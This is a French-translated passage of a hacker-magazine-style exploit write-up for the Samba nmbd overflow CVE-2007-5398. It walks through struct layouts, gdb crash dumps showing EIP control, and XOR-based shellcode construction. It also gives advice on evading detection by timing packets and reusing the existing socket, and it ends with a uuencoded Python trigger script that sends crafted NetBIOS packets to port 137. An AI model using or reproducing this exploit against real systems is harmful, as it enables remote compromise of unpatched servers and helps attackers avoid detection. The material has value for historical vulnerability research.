527         struct packet_struct *next;
528         struct packet_struct *prev;
529         BOOL locked;
530         struct in_addr ip;
531         int port;
532         int fd;
533         time_t timestamp;
534         enum packet_type packet_type;
535         union {
536                 struct nmb_packet nmb;
537                 struct dgram_packet dgram;
538         } packet;
539 };
540 

..

459 /* An nmb packet. */
460 struct nmb_packet {
461         struct {
462                 int name_trn_id;
463                 int opcode;
464                 BOOL response;
465                 struct {
466                         BOOL bcast;
467                         BOOL recursion_available;
468                         BOOL recursion_desired;
469                         BOOL trunc;
470                         BOOL authoritative;
471                 } nm_flags;
472                 int rcode;
473                 int qdcount;
474                 int ancount;
475                 int nscount;
476                 int arcount;
477         } header;
478 
479         struct {
480                 struct nmb_name question_name;
481                 int question_type;
482                 int question_class;
483         } question;
484 
485         struct res_rec *answers;
486         struct res_rec *nsrecs;
487         struct res_rec *additional;
488 };

...

441 /* A resource record. */
442 struct res_rec {
443         struct nmb_name rr_name;
444         int rr_type;
445         int rr_class;
446         int ttl;
447         int rdlength;
448         char rdata[MAX_DGRAM_SIZE];
449 };
450 


...

include/smb.h:
1718 /* A netbios name structure. */
1719 struct nmb_name {
1720         nstring      name;
1721         char         scope[64];
1722         unsigned int name_type;
1723 };

...

1712 #define MAX_NETBIOSNAME_LEN 16
1713 /* DOS character, NetBIOS namestring. Type used on the wire. */
1714 typedef char nstring[MAX_NETBIOSNAME_LEN];
1715 /* Unix character, NetBIOS namestring. Type used to manipulate name in 
nmbd. */ 1716 typedef char unstring[MAX_NETBIOSNAME_LEN*4];
--------------------------------------------

En observant la structure de nmb_packet, on voit qu'il peut être utile 
d'écraser le qdcount, et de définir un compte pour ancount, nscount ou 
adcount (qui dresse la carte des pointeurs, respectivement : answers, nsrec 
et additional). Puisqu'ils comprennent 12 octets, on peut directement 
contrôler un ensemble de ces derniers. Heureusement, le contrôle des 
arguments count établit un contrôle direct du même pointeur, autrement nous 
rencontrerions des problèmes supplémentaires.

En observant la disposition de ces structures, un moyen de mettre ceci en 
place serait d'analyser la disposition de la pile, et de recréer les 
structures dans le code de l'exploit, qui serait alors sérialisé ou envoyé à 
travers le réseau. 

L'inconvénient de ce modèle est qu'il a besoin de flexibilité supplémentaire 
à cause de la différence entre la sortie du compilateur selon les 
différentes versions, et les drapeaux, options, optimisations 
potentiellement différentes de compilateur de même qu'on peut rencontrer des 
remplissages et des commandes supplémentaires et d'autres choses à traiter.

Un problème supplémentaire en contrôlant un pointeur vers un struct res_rec 
est que le champ rdlength doit comporter une valeur raisonnable, sinon il 
sera écrase dans memcpy ou entraînera un écrasement de l'EIP dans la 
fonction sendpacket() dans char buf[1024];. Ces deux conséquences 
entraîneraient un crash du processus :(. Comme il s'agit d'une simple 
vulnérabilité, l'entraîner vers un crash potentiel est inadmissible.

Puisque nous ne sommes pas en mesure de connaître à l'avance le contenu de 
la mémoire que nous tentons de vider, il ne semble pas qu'il y ait plus de 
raisons de suivre ce chemin.  Ceci dit, il serait possible d'employer 
certaines données statiques[] pour vider le contenu de .bss et recueillir ce 
qui pourrait être utile. 

Après avoir été déçu au début par cette réalisation, j'ai réalisé qu'en 
utilisant l'emplacement statique connu de .bss, on peut heureusement vider 
le reste de .bss, puis, si nous sommes chanceux, l'allocation du tas. Un 
effet de bord quand on essaie de vider la disposition du tas, est qu'il 
n'est pas garanti d'aller directement après le nmbd .bss. (Par exemple, le 
noyau par défaut de  Fedora 8  prend en charge le tas aléatoire et NON après 
le .bss).	

Pour ces raisons, nous devrions trouver un pointeur adéquat vers le tas dans 
le .bss. La valeur d'un pointeur approprié est :

 * Un pointeur qui n'est pas alloué trop tôt lors du processus
   d'initialisation de nmbd. Cette condition existe parce que
   la taille de la structure res_rec est assez grande, et si on
   rencontre une structure précocement allouée, en ajustant le
   pointeur de sorte que rdlength pointe vers un nombre entier,
   il atteindra une page supprimée.
 * Un pointeur possédant une petite valeur appropriée de 4 octets
   depuis l'emplacement du pointeur, de sorte que l'on puisse
   continuer le vidage et l'analyse de la mémoire.

Avant de nous égarer, nous devons recréer la disposition de la pile, et voir 
si nous pouvons écraser quelques-uns des counts ou des pointeurs correctement 

Après avoir analysé comment la pile est présentée, (avec IDA Pro 
Standard 5.2) on peut commencer à ajuster le code de l'exploit pour 
s'assurer qu'il fonctionne.  J'ai ajouté les représentations de structure 
applicable en python de sorte que je puisse définir les valeurs 
explicitement (par exemple, nmb_packet['answers'] = 0x08049000), plutôt que 
d'avoir à coder en dur les tableaux d'offsets ou de hex. 

Malheureusement, il semble que dans la disposition de la pile pour Samba 
sous  FreeBSD 6.2 , la variable ancount n'est pas alignée avec l'écriture en 
6 bits :( :(

On peut cependant influencer les 2 octets les plus signifiants (avec au 
moins les 2 octets les plus signifiants étant des drapeaux), mais en 
examinant put_res_rec(), cela ne s'avère pas possible plus avant :

-------------------------------------------
 398         for (i=0;i<count;i++) {
 399                 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
 400                 offset += l;
 401                 ret += l;
 402                 RSSVAL(buf,offset,recs[i].rr_type);
 403                 RSSVAL(buf,offset+2,recs[i].rr_class);
 404                 RSIVAL(buf,offset+4,recs[i].ttl);
 405                 RSSVAL(buf,offset+8,recs[i].rdlength);
 406                 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
 407                 offset += 10+recs[i].rdlength;
 408                 ret += 10+recs[i].rdlength;
 409         }
--------------------------------------------

Boucler à un minimum de 65536 est hors de question, car la mémoire tampon de 
1024 octets dans send_packet() sera promptement écrasée, et le paramètre de 
la longueur de memcpy() n'est pas connu lors des appels suivants.

En passant en revue les drapeaux disponibles :

--------------------------------------------
  77 /********************************************************************
  78 Get/Set problematic nb_flags as network byte order 16 bit int.
  79 ********************************************************************/
  80 
  81 uint16 get_nb_flags(char *buf)
  82 {
  83         return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
  84 }
  85 
  86 void set_nb_flags(char *buf, uint16 nb_flags)
  87 {
  88         *buf++ = ((nb_flags & NB_FLGMSK) & 0xFF);
  89         *buf = '?';
  90 }

  nameserv.h:
  89 /* Mask applied to outgoing NetBIOS flags. */
  90 #define NB_FLGMSK 0xE0

--------------------------------------------

On peut voir que l'on contrôle le bit le plus signifiant du drapeau de 2 
octets, ce qui est fortement indésirable, car le code put_res_rec() bouclera 
au minimum de 32 fois. 

Malheureusement, ces restrictions nous empêchent de définir ancount à 1. En 
raison de l'écriture en 6 octets, l'autre champ nsrec ne sera pas écrasé 
correctement. Jusqu'ici, il apparaît que le paquetage samba par défaut de  
FreeBSD 6.2  n'est pas vulnérable à cette fuite de mémoire répertoriée, ce 
qui est malchanceux.

Après une brève analyse de l'installation par défaut du binaire nmbd dans  
Ubuntu 7.10 , il apparaît que la pile vérifiant le code réorganise la 
mémoire tampon, et place l'enregistrement de ressource après la structure du 
paquet - cela signifie qu'on ne peut l'utiliser pour vider la mémoire depuis 
nmbd :( si nous pouvions provoquer une fuite de mémoire, il serait possible 
d'employer ceci pour révéler ce qu'est le cookie de la pile. Si la pile ou 
le cookie étaient sujets à des fuites, et notre écriture en 6 octets alignée 
correctement, on pourrait exploiter le processus.

------[5.6.3 - Retour vers le futur ^W.bss</title>	

J'ai décidé d'observer de nouveau la phase d'écrasement, et voir ce qu'on 
peut faire avec la valeur statique .bss en 15 octets dans name_to_key()

--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -D  -s smb.conf 
Program received signal SIGSEGV, Segmentation fault.
0x41414242 in ?? ()
(gdb) i r
eax            0x1      1
ecx            0x2834fd80       674561408
edx            0x40     64
ebx            0x42420000       1111621632
esp            0xbfbfe544       0xbfbfe544
ebp            0x5a5a0000       0x5a5a0000
esi            0x4242   16962
edi            0x41414242       1094795842
eip            0x41414242       0x41414242
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) 
--------------------------------------------	

Après l'avoir de nouveau observé, on note :

 * Un contrôle partiel de ebx (les 2 octets les plus signifiants)
 * Un contrôle partiel de ebp (les 2 octets les plus signifiants)
 * Un contrôle partiel de esi (les 2 octets les plus signifiants)

Après y avoir repensé un petit peu plus, avec un peu d'expérience, on peut 
utiliser xor [edi+offset], reg pour modifier une partie du code que nous 
voulons exécuter.

En testant cette théorie, on voit :

--------------------------------------------
$ ndisasm -b 32 t
00000000  315F08            xor [edi+0x8],ebx
00000003  317708            xor [edi+0x8],esi
00000006  316F08            xor [edi+0x8],ebp
00000009  314708            xor [edi+0x8],eax
0000000C  315F08            xor [edi+0x8],ebx
0000000F  314F08            xor [edi+0x8],ecx
00000012  315708            xor [edi+0x8],edx
00000015  317F08            xor [edi+0x8],edi

simple toupper :

$ cat t | tr a-z A-Z | ndisasm -b 32 - 
00000000  315F08            xor [edi+0x8],ebx
00000003  315708            xor [edi+0x8],edx
00000006  314F08            xor [edi+0x8],ecx
00000009  314708            xor [edi+0x8],eax
0000000C  315F08            xor [edi+0x8],ebx
0000000F  314F08            xor [edi+0x8],ecx
00000012  315708            xor [edi+0x8],edx
00000015  317F08            xor [edi+0x8],edi
--------------------------------------------

D'après ce qui précède, on voit qu'on ne peut utiliser esi et ebp 
directement dans l'argument xor, ainsi si nécessaire, on peut employer  
push/pop  tout autour. (Ce n'est pas idéal, car cela réduit l'espace jusqu'à 
un seuil critique.)

En observant rapidement, on peut faire :

--------------------------------------------
xor [edi + <offset>], ebx 
push ebp
pop ebx
xor [edi + <offset>], ebx
sub esp, esi
jmp esp
--------------------------------------------

Les deux dernières instructions encodent à )ôÿä, de sorte que cela signifie 
que nous avons besoin d'un octet défini avec un haut bit, qui s'étend de 
préférence à trois octets. (Si vous ne comprenez pas la phrase précédente, 
relisez la section mentionnant comment le nom netbios est converti à cause 
du problème de jeu de caractères). En produisant rapidement les octets 
applicables, on voit que ° augmente à â??, et constitue un bit approprié sur 
lequel travailler.

Pour obtenir ce dont nous avons besoin :

--------------------------------------------
>>> hex(0xe2 ^ 0xf4) 
'0x16'
>>> hex(0x96 ^ 0xff)
'0x69'
>>> hex(0x91 ^ 0xe4)
'0x75'
--------------------------------------------

En plaçant tout cela ensemble, on obtient : 

--------------------------------------------
Breakpoint 1, 0x08117f80 in keydata.21 ()
(gdb) x/10i 
0x8117f80 <keydata.21>: xor    %ebx,0x7(%edi)
0x8117f83 <keydata.21+3>:       push   %ebp
0x8117f84 <keydata.21+4>:       pop    %ebx
0x8117f85 <keydata.21+5>:       xor    %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>:       sub    %esp,%edx
0x8117f8a <keydata.21+10>:      xchg   %eax,%esi
0x8117f8b <keydata.21+11>:      xchg   %eax,%ecx
0x8117f8c <keydata.21+12>:      dec    %ecx
...
(gdb) stepi
0x08117f83 in keydata.21 ()
(gdb) x/10i 
0x8117f83 <keydata.21+3>:       push   %ebp
0x8117f84 <keydata.21+4>:       pop    %ebx
0x8117f85 <keydata.21+5>:       xor    %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>:       sub    %esi,%esp
0x8117f8a <keydata.21+10>:      call   *0x504e5749(%ecx)
0x8117f90 <keydata.21+16>:      add    %al,(%eax)
...
(gdb) stepi
0x08117f84 in keydata.21 ()
(gdb) 
0x08117f85 in keydata.21 ()
(gdb) 
0x08117f88 in keydata.21 ()
(gdb) x/10i 
0x8117f88 <keydata.21+8>:       sub    %esi,%esp
0x8117f8a <keydata.21+10>:      jmp    *%esp
...
(gdb) i r esi
esi            0x59e    1438
(gdb) x/10i  -  
0xbfbfdfa6:     cld    
0xbfbfdfa7:     mov    %edi,%eax
0xbfbfdfa9:     addb   $0x0,(%eax)
0xbfbfdfac:     mov    %edi,%esi
0xbfbfdfae:     nop    
0xbfbfdfaf:     addb   $0x0,(%eax)
0xbfbfdfb2:     add    $0x3c,%esi
0xbfbfdfb5:     addb   $0x0,(%eax)
0xbfbfdfb8:     mov    %esp,%edi
0xbfbfdfba:     nop    
--------------------------------------------

Le problème avec ce qui prècéde, est que first_layer_sc.asm doit être mis à 
jour, car diverses choses ont changé. Tel que edi pointant l'emplacement en 
mémoire de .bss, esp pointant sur ce que nous exécutons actuellement, etc.
Ces changements sont relativement mineurs cependant.

Malheureusement, en raison de l'écrasement partiel de eip, nous aurons 
besoin de deux adresses pour obtenir l'exécution du code. Cependant, ce 
mécanisme est probablement plus fiable que de croire que les adresses de la 
pile seront les mêmes à chaque exécution.

----[ 5.7 - Notes d'exploitation supplémentaires</title>	

Les enregistrements prennent un paramètre nommé <option>ttl</option> (durée 
de vie) .. en observant le code source de Samba, on voit :

--------------------------------------------
static int get_ttl_from_packet(struct nmb_packet *nmb)
{
        int ttl = nmb->additional->ttl;

        if (ttl < lp_min_wins_ttl()) {
                ttl = lp_min_wins_ttl();
        }

        if (ttl > lp_max_wins_ttl()) {
                ttl = lp_max_wins_ttl();
        }

        return ttl;
}

param/loadparam.c:
FN_GLOBAL_INTEGER(lp_min_wins_ttl, &Globals.min_wins_ttl)
Globals.min_wins_ttl = 60 * 60 * 6;     /* 6 hours default. */
Globals.max_wins_ttl = 60 * 60 * 24 * 6;        /* 6 days default. */
--------------------------------------------

Cela veut dire que par défaut, on a moins de 6 heures pour envoyer tous les 
paquets requis, et si on veut, moins de 6 jours pour effectuer un exploit. 
Si les enregistrements de paquets sont faits à des intervalles appropriés, 
cela devrait éviter les signatures basées sur l'envoi à intervalle où par 
requête de temps. Une autre façon d'éviter une simple détection serait 
d'utiliser des drapeaux d'enregistrement netbios différents et d'éviter les 
adresses ip statiques.

En plus du temps mort ci-dessus, avec un petit peu plus d'effort, il est 
possible d'employer le descripteur de fichier existant, et les informations 
relatives à l'adresse ip ou au port dans la structure du paquet transmis à 
reply_netbios_packet(), pour éviter de nouvelles connexions réseau qui 
pourraient être notées ou détectées par un pare-feu ou bloquées en quelque 
sorte.

En travaillant davantage contre les cibles connues, le registre ebp pourrait 
être restauré correctement et le flux d'exécution pourrait être rétabli vers 
le point adéquat. Cela prouverait une exploitation manifeste. 

--[ 6 - Références</title>

[1] http://us1.samba.org/samba/security/CVE-2007-5398.html
    http://secunia.com/secunia_research/2007-90/advisory/
[2] http://www.wireshark.org
[3] http://oss.coresecurity.com/projects/impacket.html
[4] http://sourceforge.net/projects/tdb/
[5] http://www.cs.rice.edu/~scrosby/hash/
[6] http://oss.coresecurity.com/projects/inlineegg.html
[7] http://www.phrack.org/issues.html?issue=59&id=7
[8] Bounds error: attempt to reference memory overrunning the end of an
    object. Pointer value: References, size: 1 
	
--[8 -  Addendum

Je suis heureux que cet article ait été jugé digne d'être publié. 
Je remercie pour le coup de main ;)

Je serai présent à Ruxcon 2008, aussi je vous engage à nous y retrouver
http://www.ruxcon.org.au/ -  29 Novembre 2008

Voici une preuve du concept visant à déclencher l'exploit :

begin 600 CVE-2007_5398-trigger.py
M(R$O=7-R+V)I;B]P>71H;VX@#0H-"FEM<&]R="!S=')U8W0-"FEM<&]R="!I
M;7!A8VME="YS=')U8W1U<F4-"FEM<&]R="!I;7!A8VME="YN;6(@#0II;7!O
M<G0@<F%N9&]M#0II;7!O<G0@<WES#0II;7!O<G0@<V]C:V5T#0II;7!O<G0@
M=&EM90T*#0IC;&%S<R!.34)?4F5G:7-T97)?4&%C:V5T*&EM<&%C:V5T+G-T
M<G5C='5R92Y3=')U8W1U<F4I.@T*"7-T<G5C='5R92`]("@-"@D)*"`G=')A
M;G-A8W1I;VY?:60G+"`G(4@G("DL#0H)"2@@)V9L86=S)RP@)R%()RDL#0H)
M"2@@)W%U97-T:6]N<R<L("<A2"<@*2P-"@D)*"`G86YS=V5R7W)R<R<L("<A
M2"<@*2P-"@D)*"`G875T:&]R:71Y7W)R<R<L("<A2"<@*2P-"@D)*"`G861D
M:71I;VYA;%]R<G,G+"`G(4@G*2P-"@T*"0DH("=Q=65R>5]N86UE)RP@)S,T
M<R<I+`T*"0DH("=Q=65R>5]T>7!E)RP@)R%()R`I+`T*"0DH("=Q=65R>5]C
M;&%S<R<L("<A2"<@*2P-"@D)#0H)"2@@)V%D9&ET:6]N86Q?;F%M92<L("<R
M<R<@*2P-"@D)*"`G861D:71I;VYA;%]T>7!E)RP@)R%()RDL#0H)"2@@)V%D
M9&ET:6]N86Q?8VQA<W,G+"`G(4@G("DL#0H)"2@@)W1I;65?=&]?;&EV92<L
M("<A3"<@*2P-"@D)*"`G9&%T85]L96XG+"`G(4@G("DL#0H)"2@@)V%D9&ET
M:6]N86Q?9FQA9W,G+"`G(4@G("DL#0H)"2@@)V%D9&ET:6]N86Q?:7!A9&1R
M)RP@)R%,)R`I#0H)*0T*#0IC;&%S<R!.34)?5')I9V=E<E]086-K970H:6UP
M86-K970N<W1R=6-T=7)E+E-T<G5C='5R92DZ#0H)<W1R=6-T=7)E(#T@*`T*
M"0DH("=T<F%N<V%C=&EO;E]I9"<L("<A2"<@*2P-"@D)*"`G9FQA9W,G+"`G
M(4@G*2P-"@D)*"`G<75E<W1I;VYS)RP@)R%()R`I+`T*"0DH("=A;G-W97)?
M<G)S)RP@)R%()R`I+`T*"0DH("=A=71H;W)I='E?<G)S)RP@)R%()R`I+`T*
M"0DH("=A9&1I=&EO;F%L7W)R<R<L("<A2"<I+`T*#0H)"2@@)W%U97)Y7VYA
M;64G+"`G,S1S)RDL#0H)"2@@)W%U97)Y7W1Y<&4G+"`G(4@G("DL#0H)"2@@
M)W%U97)Y7V-L87-S)RP@)R%()R`I+`T*"2D-"@T*8VQA<W,@0U9%7S(P,#=?
M-3,Y.#H-"@T*"71A<F=E=',@/2!;#0H)"7L@#0H)"0DG;F%M92<Z("=$96)U
M9V=I;F<G+`T*"0D))V1E<V-R:7!T:6]N)SH@)U1H:7,@=&%R9V5T(&%I;7,@
M=&\@8W)A<V@@=&AE('9U;&YE<F%B;&4@<V5R=FEC92<L#0H)"0DG<F5G:7-T
M97)?<&%C:V5T<R<Z(#$P,`T*"0E]#0H)70T*"0D-"@T*"61E9B!?7VEN:71?
M7RAS96QF+"!H;W-T+"!T87)G970I.@T*"0EI9BAT87)G970@/"`P(&]R('1A
M<F=E="`^(&QE;BAS96QF+G1A<F=E=',I*3H-"@D)"7)A:7-E($5X8V5P=&EO
M;BP@)TEN=F%L:60@=&%R9V5T(&ED('-P96-I9FEE9"X@4&QE87-E('-E92`M
M:"!F;W(@;6]R92!I;F9O<FUA=&EO;B<-"@T*"0ES96QF+FAO<W0@/2!H;W-T
M#0H)"7-E;&8N=&%R9V5T7VED(#T@=&%R9V5T#0H-"@ED968@0W)E871E3DU"
M4F5G:7-T97)086-K970H<V5L9BP@;F%M92P@:7`L(&9L86=S*3H-"@D)96YC
M;V1E9%]N86UE(#T@:6UP86-K970N;FUB+F5N8V]D95]N86UE*&YA;64L(#!X
M,6(L("(B*0T*#0H)"7!A8VME="`]($Y-0E]296=I<W1E<E]086-K970H*0T*
M"0EP86-K971;)W1R86YS86-T:6]N7VED)UT@/2!R86YD;VTN<F%N9&EN="@P
M+"`P>&9F9F8I#0H)"7!A8VME=%LG9FQA9W,G72`](#!X,CDP,`T*"0EP86-K
M971;)W%U97-T:6]N<R==(#T@,0T*"0EP86-K971;)V%N<W=E<E]R<G,G72`]
M(#`-"@D)<&%C:V5T6R=A=71H;W)I='E?<G)S)UT@/2`P#0H)"7!A8VME=%LG
M861D:71I;VYA;%]R<G,G72`](#$-"@T*"0EP86-K971;)W%U97)Y7VYA;64G
M72`](&5N8V]D961?;F%M90T*"0EP86-K971;)W%U97)Y7W1Y<&4G72`](#!X
M,C`-"@D)<&%C:V5T6R=Q=65R>5]C;&%S<R==(#T@,'@P,0T*"0D-"@D)<&%C
M:V5T6R=A9&1I=&EO;F%L7VYA;64G72`](")<>&,P7'@P8R(-"@D)<&%C:V5T
M6R=A9&1I=&EO;F%L7W1Y<&4G72`](#!X,#`R,`T*"0EP86-K971;)V%D9&ET
M:6]N86Q?8VQA<W,G72`](#!X,#`P,0T*"0EP86-K971;)W1I;65?=&]?;&EV
M92==(#T@,`T*"0EP86-K971;)V1A=&%?;&5N)UT@/2`V#0H)"7!A8VME=%LG
M861D:71I;VYA;%]F;&%G<R==(#T@9FQA9W,-"@D)<&%C:V5T6R=A9&1I=&EO
M;F%L7VEP861D<B==(#T@:7`-"@D-"@D)<F5T=7)N('-T<BAP86-K970I#0H-
M"@ED968@5')I9V=E<E9U;&YE<F%B:6QI='DH<V5L9BDZ#0H)"6YA;64@/2!I
M;7!A8VME="YN;6(N96YC;V1E7VYA;64H)RHG+"`P>#%B+"`B(BD-"@T*"0DC
M($ET(&%P<&5A<G,@:6UP86-K970N;FUB+F5N8V]D95]N86UE(&1O97,@;F]T
M(&AA;F1L92!T:&4@86)O=F4@8V%S92!E=F5R>2!W96QL("T@<V\@=V4@96YC
M;V1E#0H)"2,@=&AE('1Y<&4@;6%N=6%L;'D-"@T*"0EN86UE(#T@;F%M95LZ
M,S%=("L@(EQX-#)<>#1C(B`K(&YA;65;,S,Z70T*#0H)"71R:6=G97(@/2!.
M34)?5')I9V=E<E]086-K970H*0T*"0ET<FEG9V5R6R=T<F%N<V%C=&EO;E]I
M9"==(#T@<F%N9&]M+G)A;F1I;G0H,"P@,'AF9F9F*0T*"0ET<FEG9V5R6R=F
M;&%G<R==(#T@,'@P,3`P#0H)"71R:6=G97);)W%U97-T:6]N<R==(#T@,0T*
M"0ET<FEG9V5R6R=A;G-W97)?<G)S)UT@/2`P#0H)"71R:6=G97);)V%U=&AO
M<FET>5]R<G,G72`](#`-"@D)=')I9V=E<ELG861D:71I;VYA;%]R<G,G72`]
M(#`-"@T*"0ET<FEG9V5R6R=Q=65R>5]N86UE)UT@/2!N86UE#0H)"71R:6=G
M97);)W%U97)Y7W1Y<&4G72`](#!X,C`)#0H)"71R:6=G97);)W%U97)Y7V-L
M87-S)UT@/2`P>#`Q#0H-"@D)<VMT(#T@<V5L9BY#;VYN96-T*"D-"@D)<VMT
M+G-E;F0H<W1R*'1R:6=G97(I*0T*"0ES:W0N8VQO<V4H*0T*#0H)9&5F($UA
M:V5.86UE*'-E;&8I.@T*"0EL971T97)S(#T@6VD@9F]R(&D@:6X@<F%N9V4H
M;W)D*"=!)RDL(&]R9"@G6B<I*S$I70T*"0ER86YD;VTN<VAU9F9L92AL971T
M97)S*0T*"0EN86UE(#T@<F%N9&]M+G-A;7!L92AL971T97)S+"!R86YD;VTN
M<F%N9&EN="@R+"`Q-"DI#0H)"6YA;64@/2`G)RYJ;VEN*%MC:'(H:2D@9F]R
M(&D@:6X@;F%M95TI#0H-"@D)<F5T=7)N(&YA;64-"@T*"61E9B!#<F5A=&50
M86-K971S*'-E;&8I.@T*"0EP86-K971S(#T@6UT-"@D)#0H)"69O<B!I(&EN
M(')A;F=E*'-E;&8N=&%R9V5T<UMS96QF+G1A<F=E=%]I9%U;)W)E9VES=&5R
M7W!A8VME=',G72DZ#0H)"0DC(&EP(#T@<F%N9&]M+G)A;F1I;G0H,"P@,'AF
M9F9F9F9F9BD-"@D)"6EP(#T@,'@V.#8Y-F$V8@T*"0D);F%M92`]('-E;&8N
M36%K94YA;64H*0T*"0D)<&%C:V5T(#T@<V5L9BY#<F5A=&5.34)296=I<W1E
M<E!A8VME="AN86UE+"!I<"P@,'@V,#`P*0T*"0D)<&%C:V5T<RYA<'!E;F0H
M<&%C:V5T*0T*#0H)"7)E='5R;B!P86-K971S#0H-"@ED968@0V]N;F5C="AS
M96QF*3H-"@D)<VMT(#T@<V]C:V5T+G-O8VME="AS;V-K970N049?24Y%5"P@
M<V]C:V5T+E-/0TM?1$=204TL(#`I#0H)"7-K="YC;VYN96-T*"AS96QF+FAO
M<W0L(#$S-RDI#0H)"7)E='5R;B!S:W0-"@T*"61E9B!396YD4&%C:V5T<RAS
M96QF+"!P86-K971S*3H-"@D)<VMT(#T@<V5L9BY#;VYN96-T*"D-"@D)9F]R
M('!A8VME="!I;B!P86-K971S.@T*"0D)<VMT+G-E;F0H<&%C:V5T*0T*"0D)
M=&EM92YS;&5E<"@P+C$I#0H-"@D)<VMT+F-L;W-E*"D-"@T*#0H)9&5F(')U
M;BAS96QF*3H-"@D)<&%C:V5T<R`]('-E;&8N0W)E871E4&%C:V5T<R@I#0H)
M"7-E;&8N4V5N9%!A8VME=',H<&%C:V5T<RD-"@T*"0ES96QF+E1R:6=G97)6
M=6QN97)A8FEL:71Y*"D-"@D-"F1E9B!P87)S95]A<F=S*&%R9W,I.@T*"69R
M;VT@;W!T<&%R<V4@:6UP;W)T($]P=&EO;E!A<G-E<@T*#0H)<&%R<V5R(#T@
M3W!T:6]N4&%R<V5R*"D-"@EP87)S97(N<V5T7V1E9F%U;'1S*&AO<W0]3F]N
M92P@=&%R9V5T/4YO;F4L(&QI<W0]1F%L<V4I#0H-"@EP87)S97(N861D7V]P
M=&EO;B@G+2UH;W-T)RP@9&5S=#TB:&]S="(I#0H)<&%R<V5R+F%D9%]O<'1I
M;VXH)RTM=&%R9V5T)RP@9&5S=#TB=&%R9V5T(BP@='EP93TB:6YT(BD-"@EP
M87)S97(N861D7V]P=&EO;B@G+2UL:7-T)RP@9&5S=#TB;&ES="(L(&%C=&EO
M;CTB<W1O<F5?=')U92(I#0H-"@EO<'1S+"!A<F=S(#T@<&%R<V5R+G!A<G-E
M7V%R9W,H87)G<RD-"@T*"6EF*&]P=',N:&]S="!I<R!.;VYE*3H-"@D)<F%I
M<V4@17AC97!T:6]N+"`G2&]S="!A<F=U;65N="!H87,@;F]T(&)E96X@<W5P
M<&QI960L('!L96%S92!R=6X@=VET:"`M:"!T;R!S964@<&%R86UE=&5R<R<-
M"@T*"6EF*&]P=',N=&%R9V5T(&ES($YO;F4I.@T*"0ER86ES92!%>&-E<'1I
M;VXL("=487)G970@87)G=6UE;G0@:&%S(&YO="!B965N('-U<'!L:65D+"!P
M;&5A<V4@<G5N('=I=&@@+6@@=&\@<V5E('!A<F%M971E<G,G#0H-"@EI9BAO
M<'1S+FQI<W0I.@T*"0EF;W(@=&%R9V5T(&EN($-615\R,#`W7S4S.3@N=&%R
M9V5T<SH-"@D)"7!R:6YT("(E,3)S("`@("5S(B`E("AT87)G971;)VYA;64G
M72P@=&%R9V5T6R=D97-C<FEP=&EO;B==*0T*#0H)"7-Y<RYE>&ET*#$I#0H-
M"@ER971U<FX@;W!T<RP@87)G<PT*#0ID968@;6%I;BAA<F=S*3H-"@EO<'1S
M+"!A<F=S(#T@<&%R<V5?87)G<RAA<F=S*0T*#0H)97AP;&]I="`]($-615\R
M,#`W7S4S.3@H;W!T<RYH;W-T+"!O<'1S+G1A<F=E="D-"@EE>'!L;VET+G)U
M;B@I#0H-"FEF(%]?;F%M95]?(#T]("=?7VUA:6Y?7R<Z#0H);6%I;BAS>7,N
-87)G=ELQ.ETI#0H-"F%M
`
end

le 30/05/2008 par max_packetz [trad deny]